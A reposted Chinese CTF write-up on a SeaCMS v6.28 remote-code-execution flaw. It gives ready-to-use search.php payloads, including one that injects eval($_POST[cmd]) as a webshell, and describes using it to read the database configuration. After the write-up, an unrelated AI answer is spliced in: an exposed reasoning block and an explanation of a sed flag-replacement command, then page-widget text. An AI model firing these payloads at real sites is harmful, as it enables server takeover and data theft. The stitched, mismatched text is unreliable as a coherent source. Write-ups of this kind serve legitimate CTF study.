i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)...

本文详细介绍了海洋CMS v6.28版本中存在的命令执行漏洞,通过特定的URL参数实现远程代码执行。文章展示了如何利用此漏洞执行系统命令,并最终获取数据库配置文件及敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开发现是海洋cms,那就搜索相关漏洞

 

找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49

直接利用其中给出的poc

/search.php

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

 

可以执行系统命令

 

 

没找到flag,考虑可能在数据库中,想上传一句话,然后用菜刀查数据库来着,但是没有写文件的权限,手动查数据库感觉太麻烦,所以换个exp

海洋cms v6.28命令执行漏洞 : https://www.uedbox.com/seacms-v628-0day/

/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

菜刀直接连接

找了好久终于找到数据库配置文件

编辑该条shell配置如下

 

最后得到flag

转载于:https://www.cnblogs.com/leixiao-/p/9786034.html

<think>好的,我现在要解释用户提供的这个sed命令:`sed -i "s/flag{testflag}/$GZCTF_FLAG/" /var/www/html/index.php`。用户可能不太熟悉sed的使用,所以我需要一步步拆解,确保解释清楚每个部分的作用。 首先,我应该确定用户了解sed是什么。Sed是一个流编辑器,用于处理文本文件,执行查找替换等操作。用户可能在CTF或者某种部署环境中遇到这个命令,用来动态替换文件中的某个标志。 接下来,分解命令的结构。命令中的`-i`选项代表直接修改文件,而不是输出到终端。然后替换命令的结构是`s/原字符串/新字符串/`,这里原字符串是`flag{testflag}`,而新字符串是环境变量`$GZCTF_FLAG`的值。目标文件是`/var/www/html/index.php`。 需要注意,用户可能对正则表达式或环境变量的使用不太熟悉。这里替换的是精确匹配的字符串`flag{testflag}`,所以不需要正则的特殊字符。而环境变量`$GZCTF_FLAG`在双引号中会被展开,所以实际替换的是该变量的值。如果变量未设置,可能会导致替换为空,需要提醒用户注意这一点。 另外,权限问题也可能存在,修改`/var/www/html/index.php`可能需要足够的权限,用户可能需要使用sudo或者确保执行用户有写权限。 用户可能的疑问点包括:-i选项的作用、替换语法、环境变量的引用方式、文件路径的重要性以及权限问题。我应该逐一解释这些部分,并给出实际例子帮助理解。 最后,确认这个命令的典型使用景,比如在CTF竞赛中动态替换flag,或者在部署时配置文件中替换占位符。同时提醒潜在的问题,比如环境变量未设置导致替换错误,或者文件路径不正确等。</think>以下是对命令 `sed -i "s/flag{testflag}/$GZCTF_FLAG/" /var/www/html/index.php` 的逐步解释: --- ### **1. 命令结构拆解** ```bash sed # 流文本编辑器工具 -i # 直接修改文件内容(in-place edit) "s/flag{testflag}/$GZCTF_FLAG/" # 替换操作指令 /var/www/html/index.php # 目标文件路径 ``` --- ### **2. 核心功能说明** - **用途**:将文件 `/var/www/html/index.php` 中所有 `flag{testflag}` 字符串替换为环境变量 `$GZCTF_FLAG` 的值。 - **典型景**:CTF竞赛中动态注入Flag,或配置文件模板的占位符替换。 --- ### **3. 关键参数详解** #### **`-i` 参数** - **作用**:直接修改源文件(不生成备份文件)。 - **对比**:若使用 `-i.bak` 会生成 `index.php.bak` 备份文件。 #### **替换指令 `s/pattern/replacement/`** - `s`:替换操作符(substitute)。 - `flag{testflag}`:需要被替换的固定字符串(精确匹配)。 - `$GZCTF_FLAG`:环境变量的值(通过双引号 `" "` 解析变量)。 --- ### **4. 环境变量注意事项** - **变量展开**:需确保命令在 `$GZCTF_FLAG` 已定义的环境中执行。 ```bash # 示例:提前设置环境变量 export GZCTF_FLAG="flag{real_flag}" ``` - **空值风险**:若变量未定义,会替换为空字符串(需验证变量是否存在)。 --- ### **5. 文件路径验证** - **路径检查**:确保目标文件 `/var/www/html/index.php` 存在且可写。 - **权限问题**:可能需要 `sudo` 权限(取决于文件所有权): ```bash sudo sed -i "s/flag{testflag}/$GZCTF_FLAG/" /var/www/html/index.php ``` --- ### **6. 实际执行示例** 假设环境变量 `GZCTF_FLAG` 的值为 `flag{abc123}`,文件内容: ```php <?php $secret = "flag{testflag}"; ?> ``` 执行命令后,文件内容将变为: ```php <?php $secret = "flag{abc123}"; # 替换成功 ?> ``` --- ### **7. 常见问题排查** 1. **替换未生效**: - 检查文件路径是否正确。 - 确认环境变量是否导出(可通过 `echo $GZCTF_FLAG` 验证)。 2. **权限拒绝**: ```bash ls -l /var/www/html/index.php # 查看文件权限 chmod 644 /var/www/html/index.php # 调整权限(需管理员权限) ``` 3. **特殊字符冲突**: - 若变量值包含 `/`,需修改分隔符(例如改用 `#`): ```bash sed -i "s#flag{testflag}#$GZCTF_FLAG#" /path/to/file ``` --- ### **8. 安全建议** - **备份文件**:建议首次执行时添加备份后缀: ```bash sed -i.bak "s/flag{testflag}/$GZCTF_FLAG/" /var/www/html/index.php ``` - **正则匹配**:若需模糊匹配(如动态Flag),可改用正则表达式: ```bash sed -i "s/flag{.*}/$GZCTF_FLAG/" /path/to/file ``` --- 通过以上步骤,您可以准确理解该命令的作用机制,并应对实际使用中的各类景和问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值